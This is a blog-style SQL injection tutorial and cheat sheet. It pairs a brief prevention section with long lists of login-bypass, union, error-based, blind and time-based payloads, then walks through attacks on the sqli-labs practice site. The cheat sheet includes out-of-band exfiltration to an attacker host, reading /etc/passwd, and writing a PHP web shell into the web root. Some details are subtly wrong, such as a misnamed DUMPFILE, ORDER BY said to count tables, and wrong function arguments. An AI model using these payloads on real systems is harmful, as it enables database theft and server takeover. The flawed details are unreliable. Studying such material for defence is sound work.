SQL Injection is the most commonly found vulnerability in web applications according to Open Web Application Security Project (OWASP). Moreover, SQL Injection or SQLi attack is not only a web application attack, but this attack vector can also be applied on Android, iOS Apps and all those applications which uses SQL databases for its data storage. Because this attack vector is so common is the reason we’ve just spent a ton of time trying to create the most in-depth guide and cheat sheet on SQL injection with examples that will rival anything else you have previously seen.

What is SQL and SQLi?

SQL stands for Structured Query Language, it is used to search, insert and manage databases which store all the data for various applications at the back-end. SQL Injection is an attack possible on SQL-based applications whose front-end and back-end user-input checks are weak or non-existent. In a SQL-based application, there is a SQL statement in the back-end placed by its developer which takes arguments or parameters from the users and caters the users’ needs but when an attacker tries to insert and fit malicious SQL statements, instead of arguments, to execute them and if there are no counter-measures for those malicious injected statements on that application, then this is said to be SQLi vulnerable. This further allow unauthorized users or attackers to insert their own SQL queries that will be executed on the database of the application, using some tricks.

How dangerous can SQLi be for any application?

Database is the backbone of almost all user applications and they are totally dependent on it. Other than this, the data stored in the databases can be sensitive like user credentials, bank account details, private data, etc. If an application is vulnerable to SQLi, attacker may view, insert, delete or even update the data stored in the application’s database, depending upon the extent of vulnerability. This blogs will covers SQLi attacks for viewing data in the database and its prime and only purpose is for inducing awareness. Please do not try attacking to any application without the consent of its owner.

As briefly mentioned above, this vulnerability lies if the application does not sanitize the input given by the user directly or indirectly before executing or processing it. Most of these exploits are found in php language backend in which developer has to explicitly use methods, built-in or user-defined functions, to sanitize or apply constraints for those inputs.

Php vulnerable code looks something like below:

$username = $_POST[‘username’];
$password = $_POST[‘password’];
$query = "SELECT username, password FROM users WHERE username = ‘$username’ AND password = ‘$password’ ";
$result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );

As shown above, the inputs are passed as it is and no sanitization or checks are applied.

On the other hand, this can be fixed with the sanitization of each input by passing that input value through built-in function for preparing query before executing. Following is the fixed sample piece of code in php:

$sqli_stmnt = $dbh->prepare(“SELECT username, password FROM users WHERE username = ? AND password = ?”);
$sqli_stmnt->execute(array($username, $password));

In the code above, input is passed through execute function which automatically sanitizes the user input in php language and then further pass it to previously prepared statement, replace the question mark symbols (?) with the inputs provided and then execute it in the end.

Other than that, backslashes which behave as escape character, can be removed using php built-in functions:

if(get_magic_quotes_gpc()){
$username = stripslashes($username);
}
$username = mysql_real_escape_string($username);
mysql_query(“ SELECT * FROM customers WHERE username=‘{$username}’ ”);

SQL Injection Points

The query that an attacker wants to execute to the vulnerable web application has two points of injection. This injection points are supposedly expecting simple arguments but attacker can also use it to insert queries in vulnerable sites. SQL can be injected through:

URL query field.
User form field.
Or any other point where back-end code may interact with databases.

URL query field is what we provide in the link in the form of parameters while user form field is any form field that the application processes or stores. At both points, the same queries can be injected but they only differ in their injection mediums. We will only be discussing URL query field for this blog, i.e., injecting query in the URL link and you may try these injections in user form field on your own for your practice.

In actual, there is no hard and fast rule for SQL injection attack on an application, we use a trial and error method and try to guess the SQL query used in the backend by developer and then try to exploit it.

SQL Injection Cheat Sheet

The following cheat sheet contains information and queries about how to exploit vulnerable SQL databases. Maybe few of them do not work on different databases based on their versions, also real life environments could contain unexpected complex SQL queries. But this cheat sheet gives one good idea to get started with SQL injections and carve out a potential attack on a web application

Detection:

First thing to test for an SQL injection is to try to break the query, with the intention of getting the syntax of how SQL is getting input at the backend. This technique works in UNION/Error based SQL Injections, where we force the backend database to throw an error.

Using this technique, we can somehow determine the backend query structure to efficiently exploit SQL Injection. Query can be broken by throwing various characters as input like :

```
‘
```
```
“
```
```
‘)
```
```
‘))
```
```
“))
```
```
/
```
```
;
```
```
//
```
```
\
```
```
-- -
```

Afterwards an escape character \ can be used just to make sure what is breaking the query.

Once it is guessed how exactly SQL is taking input, we’ll try to break and then fix the query. This step is necessary to determine where we can put our own malicious query, that will be executed at the backend. The query can be fixed in some of the ways below:

```
‘’    --+
```
```
‘    --+
```
```
‘’    #
```
```
‘     \*    *\
```
```
‘    -- -
```
```
'     or    '1
```

Litmus Tests:

To know what DBMS is running at the backend, error messages can tell a lot,

Oracle:        SQL error: ORA-00983, missing = sign

MySQL:        You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' LIMIT 0,1' at line 1

SQL Server:    [Microsoft] [SQL Server Native Client 11.0] [SQL Server] Incorrect syntax near '1'

But in the case of Blind Injections, another way is to determine through different numeric functions like :

```
Oracle:        BITAND(1,1)
```
```
MySQL:         POW(1,1)
```
```
SQL Server:     SQUARE(1,1)
```

For example if “list.php?id=8” and “list.php?id=9- POW(1,1)” is returning the same output, it means MySQL is running at the backend.

Every DBMS uses different concatenation operators to store text input i.e :

```
Oracle:  'que' || 'ry’
```
```
MySQL: ‘que’ ‘ry’
```
```
SQL Server: ‘que’ + ‘ry’
```

For example if “id=query” and “id=’que’ || ‘ry’” is returning the same output, it means Oracle is running at the backend.

Login Bypassing

```
admin’    #
```
```
admin”    #
```
```
admin’))    #
```
```
‘ or 1=1    --+
```
```
‘ or 1=1    #
```
```
" or "        " "
```
```
" or true    --
```
```
" or true    --+
```
```
‘)) or true    -- -
```
```
admin'  or 1=1 or ''='
```
```
admin') or ('1'='1'--
```
```
admin') or '1'='1'/*
```
```
admin") or "1"="1
```
```
') or ('1'='1    --
```

Union Based:

One or more queries can be executed and their results can be appended to the original query in MySQL using the UNION keyword.

```
‘ order by 1,sleep(10)    --+
```

‘ union select @@version,sleep(10),3        --+

‘ union select @@version,sleep(10),3,"'3'"#    --+

Using the UNION keyword, the number of tables in the database can be determined by incrementing the specified table index number until an error occurs.

```
' order by 3    --+
```
```
' order by 4    --+
```

' order by 5    --+ (if it gives an error means that there are 4 tables)

Getting what columns are displaying the results of a query clearly:

' union select 1,2,3             --+

Getting the database version number:

’ union select 1,database(),3         --+

Getting table names:

’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'         --+

Getting the column names:

’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'        --+

Displaying column username and password from table users:

’ union select 1,group_concat(username),group_concat(password) from users     --+

Error Based:

Count, floor and group functions can be used in order to produce the error. These functions are helpful if MySQL isn’t displaying output via UNION based queries.

(select count(*), concat(0x3a,0x3a,(select database()),0x3a,0x3a, floor(rand()*2))a from information_schema.columns group by a)

Enumerating database,

‘ AND (select 1 from (select count(*), concat(0x3a,0x3a,(select database()),0x3a,0x3a, floor(rand()*2))a from information_schema.columns group by a)b)        --+

Enumerating current user,

‘ AND (select 1 from (select count(*), concat(0x3a,0x3a,(select current_user,0x3a,0x3a, floor(rand()*2))a from information_schema.columns group by a)b)        --+

Enumerating table names,

‘ AND (select 1 from (select count(*), concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 2,1),0x3a,0x3a, floor(rand()*2))a from information_schema.columns group by a)b)        --+

Enumerating column names,

‘ AND (select 1 from (select count(*), concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name='users' limit 2,1),0x3a,0x3a, floor(rand()*2))a from information_schema.columns group by a)b)        --+

Blind:

In Blind SQLi, we can never be sure that whether the injection exists on the page or not, so it’s totally blind to us so we have to rely on other techniques :

If else based:

'  AND if((select database())='security', sleep(10), null)     --+

' AND if((select substr(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1)='e', sleep(10), null)     --+

Sleep based:

'  and sleep(10)              --+

';waitfor delay '0:0:10'        --+

'));waitfor delay '0:0:10'        --+

“  and sleep(10)              --+

Boolean based:

'  AND 1>2                --+

```
'  AND 1=1               --+
```

‘ AND (ascii(substr(database(),1,1))) <114    --+

‘ AND (ascii(substr((select column from information_schema.columns where table_name='users' limit 0,1),1,1))) = 101         --+

Out of Band:

When the results are limited and filtered i.e, sometimes sleep functions are disabled as well, then we need to opt for another Channel to dump the desired information.

select @@version into outfile '////127.0.0.1/tmp/results.txt';

select load_file(concat('\\\\',database(),'.<own_site>/tmp/result.txt'));

load data infile '\\\\error\\abc' into table database.table_name;

select ‘users’ into dump file '../tmp/result';

select ‘users’ into outfile ‘../tmp/result’;

SQL Injection to shell via load_file, dump_file, outfile:

You can use the following database functions to read or write to the local file system, depending upon the privileges.

```
select load_file(“/etc/passwd”)
```

select load_file(“/etc/passwd”) into outfile “/tmp/file.txt”

UNION SELECT “<?php system($_GET[‘cmd’]); ?>” into outfile “../var/www/html/phpBackdoor.php”

UNION SELECT 0xPHP_PAYLOAD_IN_HEX, NULL, NULL INTO DUMPILE '../Desktop/Shell.php"'

SQL Injection Detailed Tutorial:

We will use sqli-lab series from Audi1 to practically apply what we will learn, whose source code you may find here, and we will recreate SQLi attacks on it. Our purpose will be to access all the data in the database through injection.

As we are trying to guess the backend SQL statement to fit in our query instead of expected arguments, SQLi attacking process can vary. There are two important things that assist SQLi attack vector on any application:

Displayed SQL error.
Displayed SQL output.

Based upon these two factors, which usually depends on the severity of vulnerability, SQLi are divided into three categories. For all three categories, the approach is the same which is guess, try, error and succeed. Following are the types of SQL injection, listed from easy to difficult:

Union-based SQLi:

This is the easiest type of SQLi as the attacker can easily guess the backend SQL statement from SQL errors and also able to see the dumped output of injected or normal query.

At the start, webpage looks something like this,

URL: http://localhost:8081/sqli-labs/Less-1/

Being union-based SQLi vulnerable, it displays SQL errors and results and we will use both of them for extracting data, which will make it much easier for us.

We will now append ‘?id=1’ in the url to get normal result:

URL: http://localhost:8081/sqli-labs/Less-1/?id=1

Till above, the site has been used as it was intended to be, for a normal user. From here, our hacking part begins…

One way to prepare our malicious query for execution is to visualize what the developer might have used at the back of the application. Let’s assume that the developer of this website has written following SQL statement structure and this will help us improve our trying and hitting:

SELECT <col_1>, <col_2>, …, <col_n> FROM <database_name>.<table_name> WHERE <username> = ‘<user_input>’ AND <password> = ‘<user_password>’ LIMIT 0,1

For SQLi, we also need to have at least basic knowledge of SQL and we will understand it as well, as we go along. Here, the words in angular brackets are still to be explored and remaining part is the syntax and language keywords which are mostly likely to be the same as above but may differ.

First thing we will do is to try to break SQL statement which is in most cases done by adding a single inverted comma (‘), a double inverted comma (“) or an escape character which is a backslash (\) in SQL. In a usual SQL statement, single or double inverted commas are usually used to enclose strings for definition or user input and when we use any one of these in half in the query, it will overall unbalance the SQL statement and cause an error to pop out on screen:

URL: localhost:8081/sqli-labs/Less-1/?id=1\

It is possible that this error is only shown either for a single inverted comma, a double inverted comma or an escape character and we have to check on which of the symbol the error occurred.

Now we will make room for our malicious SQL query to be inserted in simple argument. For that, we will first see if our SQL is even executed and we will make it sure by balancing again the statement using different strategies. Note that in the backend, the developer might have used brackets which too we will have to balance.

We can also add commenting characters to balance the statement, and to ignore any additional inverted commas or other characters after it. In SQL, text can be commented by using two hyphens and a space which is collectively write as ‘–+’ in URL encoded representation. And the statement becomes balanced again:

URL: localhost:8081/sqli-labs/Less-1/?id=1’–+

Also, as discussed before, in the backend statement if the developer have used brackets we will need to add closing brackets as well before commenting symbols, to balance opening brackets that might have been abandoned.

At first, we need to know the number of columns of the table that is being queried by developer which will further help us dump our desired query output after taking union with the original output.

For number of columns we will use ‘ORDER BY’ clause of SQL which orders ascendingly or descendingly the entries in the table of the database based on a given column number and if the column number we are providing exceeds the total column numbers in the output of the table, it will give out an error. Usage of ‘ORDER BY’ clause is like:

SELECT col1 FROM table1 ORDER BY 1

This will sort the output of query on column number 1.

We will try random numbers starting from smaller to larger and keep trying until we find the maximum number of columns for which query is successful. We can also try different interval of values and narrow down our findings slowly.

For our testing site, the maximum possible column number with the successful output is three:

URL: localhost:8081/sqli-labs/Less-1/?id=1’+order+by+3–+

Note that ‘%27’ in the URL as in the screenshot above is the URL encoded form for a single inverted comma (‘) and also, ‘+’ is used for a space in URLs.

And this is how the error for maximum column number exceeded in ‘ORDER BY’ clause looks like:

URL: localhost:8081/sqli-labs/Less-1/?id=1’+order+by+4–+

We will now find an appropriate place to dump data on screen by replacing ‘ORDER BY’ clause with ‘UNION’ clause which merges the entries for two tables:

URL: localhost:8081/sqli-labs/Less-1/?id=1’+union+select+1,2,3–+

We have just hard coded values of columns to be unioned for now to see our values are being dumped. In union of two tables, number of columns of both tables should be equal which in this case are three. It is still showing the same output as before because it can only show the first row which is the previous output and not the one that we have inquired in our malicious query. To get our data displayed, we will replace the valid id with an invalid id so that the only row left after the union will be the output of our injected query.

URL: localhost:8081/sqli-labs/Less-1/?id=-1’+union+select+1,2,3–+

As in the screenshot above, we have placed -1 to make the id invalid and hence our data which is ‘2’ and ‘3’ is now being displayed instead of original data.

Now, using database functions to extract basic information:

URL: localhost:8081/sqli-labs/Less-1/?id=-1’+union+select+1,database(),3–+

We have replaced the ‘2’ in our injected query with ‘database()’ function and hence it is showing current database name which is ‘security’. Some more common SQL functions along with little detail, for extracting information, are as under:

version(): shows current version of SQL being used.
@@datadir: shows the directory where SQL database is located.
user() or current_user: both functions shows the user who created or manages the database.

To extract the table names, column names and fields’ information, we can use specific tables from the database named ‘information_schema’ which by default keeps and maintains meta-deta of all user created databases, tables and columns.

To extract tables from current database, we will use the following statement:

SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1;

This statement will return one of the table names in current database and we can iterate through all table names one by one by incrementing the first argument after LIMIT clause and we can extract the names of all the tables.

The name of the first table in the current database is ‘emails’:

URL: localhost:8081/sqli-labs/Less-1/?id=-1’+union+select+1,table_name,3+from+information_schema.tables+where+table_schema=database()+limit+0,1–+

Similarly, to extract column names from specified table, we will use ‘columns’ table in ‘information_schema’ database:

SELECT column_name FROM information_schema.columns WHERE table_name = <specific_table_name> LIMIT 0,1;

Like table names, we extracted column names from specified table and can iterate through all rows of table ‘columns’:

URL: localhost:8081/sqli-labs/Less-1/?id=-1’+union+select+1,column_name,3+from+information_schema.columns+where+table_name=‘emails’+limit+0,1–+

In the above screenshot, it shows that the first column name of table ‘emails’ from database named ‘security’ is ‘id’. Similarly, second column name was found as ‘email_id’.

And now we will be injecting the following SQL statement:

SELECT email_id FROM emails LIMIT 0,1

After injecting, the full query and the printed output can be seen in the screenshot below:

URL: localhost:8081/sqli-labs/Less-1/?id=-1’+union+select+1,email_id,3+from+emails+limit+0,1–+

In the same way, by injecting SQL queries and enumerating the outputs, we can get access to all information stored in the database.

Error-based SQLi:

In this type of SQLi, only errors are shown, not the output and we are bound to dump our SQL query output in SQL errors. Output from our malicious SQL query will not be shown and instead only a general message is displayed as seen in the screenshot below:

URL: localhost:8081/sqli-labs/Less-5/?id=1

If we put a single quote, double quote, SQL error is displayed on the screen:

URL: localhost:8081/sqli-labs/Less-5/?id=1’

As we now have a pretty good understanding of SQLi at this point, we will elaborate only important and complex steps.

For error-based SQLi too, approach is the same except that we can only use specific types of queries. In order to trigger an SQL error to dump our query’s output with it, statement would become a little complex, we will use:

SELECT 1 from (SELECT COUNT(*), CONCAT(0x3a, 0x3a, (SELECT database()), 0x3a, 0x3a, floor( rand() * 2 ) )a FROM information_schema.columns GROUP BY a ) b;

Now let’s try to break above query into subqueries and try to understand what each part of this complex query is doing.

In the above statement, our malicious query is ‘SELECT database()’, which will in short show us the current database name but in the SQL error. The mechanism behind is we are taking multiple rows or entries which may be duplicated and we will try to fit them in one package or view. When there are duplicate rows, a run-time error is generated by SQL for inserting duplicates which will also display our desired output with it. After we understand how this complex query works, we can replace ‘SELECT database()’ part of query with larger and more extensive queries that we have gone through in previous type of SQLi and I will leave that for you to try extensive queries.

Sub-queries and their purpose of use in the above complex query are as follows:

SELECT database() :

Will just print the name of the current database. This can be replaced by the other queries whose data is to be displayed, in form of errors.

floor(rand() * 2) :

Will print a random number, either a zero or a one.

CONCAT(0x3a, 0x3a, (SELECT database()), 0x3a, 0x3a, floor( rand() * 2 ) ) :

This will concatenate two colons on the left and two colons on the right of the database name and randomly 0 or 1 at the end of it.

SELECT COUNT(*), CONCAT(0x3a, 0x3a, (SELECT database()), 0x3a, 0x3a, floor( rand() * 2 ) )a FROM information_schema.columns GROUP BY a

The query part between initial ‘select’ and ‘from’ will be iterated a number of times which will be equal to the rows in columns table from database information_schema. This iteration is intentional as it will generate duplicate rows which will give runtime error when executed. This part of the query as a whole will select count of rows based upon the grouping by ‘a’, which is an alias of previously concatenated result, and the concatenated part.

SELECT 1 from (SELECT COUNT(*), CONCAT(0x3a, 0x3a, (SELECT database()), 0x3a, 0x3a, floor( rand() * 2 ) )a FROM information_schema.columns GROUP BY a ) b;

We have just nested the previous query into another select statement to get one column. We are not concerned about the result it returns here and have hardcoded it to 1 as we will find only SQL error useful and that is the only one concerning for us. Also there is a ‘b’ at the end of query, this is because SQL bounds us to give alias to the inner statement of nested queries and this is the reason for ‘b’. Our purpose of wrapping the statement in simple ‘SELECT’ is to return a single row only.

Now that we have done a lot of homework here and now its show time!

URL: localhost:8081/sqli-labs/Less-5/?id=1’+and+(SELECT 1 from (SELECT COUNT(*), CONCAT(0x3a, 0x3a, (SELECT database()), 0x3a, 0x3a, floor(rand() * 2))a FROM information_schema.columns GROUP BY a)b)–+

While running the query you might get this type of error as above sometimes when there are no duplicates, we will ignore it and keep trying to get SQL errors, by refreshing the page.

URL: localhost:8081/sqli-labs/Less-5/?id=1’+and+(SELECT 1 from (SELECT COUNT(*), CONCAT(0x3a, x3a, (SELECT database()), 0x3a, 0x3a, floor(rand() * 2))a FROM information_schema.columns GROUP BY a)b)–+

And just like this we get the name of database between two colons on each side. Similarly, we can extract all the data from the database.

Blind SQLi:

Now that we have covered union and error-based SQL injection, it won’t be difficult for us to understand blind sqli. The philosophy is the same only with a little additional trick.

URL: localhost:8081/sqli-labs/Less-8/?id=1’

If we look at our problem, we see that we will not be getting SQL error messages as well as no output from SQL query. Now the question comes where can we dump our data other than SQL output and SQL errors. To solve this problem, we can make use of sleep() function or boolean expressions and in that we can only interpret true or false results.

So there are two approaches for getting our true and false based queries answered:

Time Delay-based:

As mentioned earlier, we can use ‘sleep()’ function for this purpose that creates a delay in SQL query response for specified time which is provided as a parameter in seconds. If we insert a sleep() function and it works, we can interpret it as true and false otherwise.

Boolean-based:

On the other hand, we can infer true or false outputs if we are being shown a positive message, which is shown when query is satisfied, or nothing, which is shown when query is not satisfied. For that, we can devise a true statement first and see that general message is being shown. Then, we can add our query to see if the message is still showing which means it is true and false otherwise.

So our problem has now broken down to analyzing how we are going to convert our tables or databases into true or false queries. There is another useful function of ‘substring()’ which returns a substring of a given string. We will use that function to create boolean queries. ‘Substring()’ function takes three parameters, i.e., original string, starting index of substring (indexing starts from one) and number of characters for tokening.

substring(<original_string>, <starting_index>, <number_of_characters>)

We will also use ‘if()’ statements for conditional execution in which the first parameter is the condition, second is the task to be executed when condition is true and the third parameter is the task to be executed when condition is false.

if(<condition>, <query1>, <query2>)

So we can iterate over alphabets or numbers and see if the conditions are met.

As we know database name is ‘security’, we can go by:

if( (substring(database(), 0, 1) == ‘s’), sleep(5), null)

Database reply is to be delayed 5 seconds if first character of database name is ‘s’ and do nothing otherwise. And it delayed the response 5 seconds as it was supposed to.

URL: http://localhost:8081/sqli-labs/Less-8/?id=1’+and+if( (substring(database(),1,1) = ‘s’),sleep(5),null)–+

In boolean-based, the thing to notice is if the general output message is displayed or not. We use something like:

1’ and (substring(database(), 1, 1) = ‘s’) --+

If that general message is showing, this query returns true and false if there is no message displayed:

URL: localhost:8081/sqli-labs/Less-8/?id=1’+and+(substring(database(), 1, 1) = ‘s’)–+

Using this method and trying every possibility is very cumbersome. There is a relative less inefficient way in which we can use ‘ascii()’ function to convert chars into ascii code and with this we can compare character directly numbers and therefore can use relational operators. We can use ascii chars like:

if( (ascii(substring(database(), 0, 1)) = 115), sleep(5), null )

This will return true as ascii code for ‘s’ is 115.

And so we are also able to do:

if( (ascii(substring(database(), 0, 1)) > 100), sleep(5), null )

This too will return true as ascii 100, ascii for ‘d’ is less than 115, ascii for ‘s’. We can further compare through intervals to guess the character in a more effective way and in the same way, data from database can be extracted.

This was the end of our journey through the SQL injection attacks, its prevention and data extraction for different extents of vulnerabilities and types.

The Ultimate SQL Injection Cheat Sheet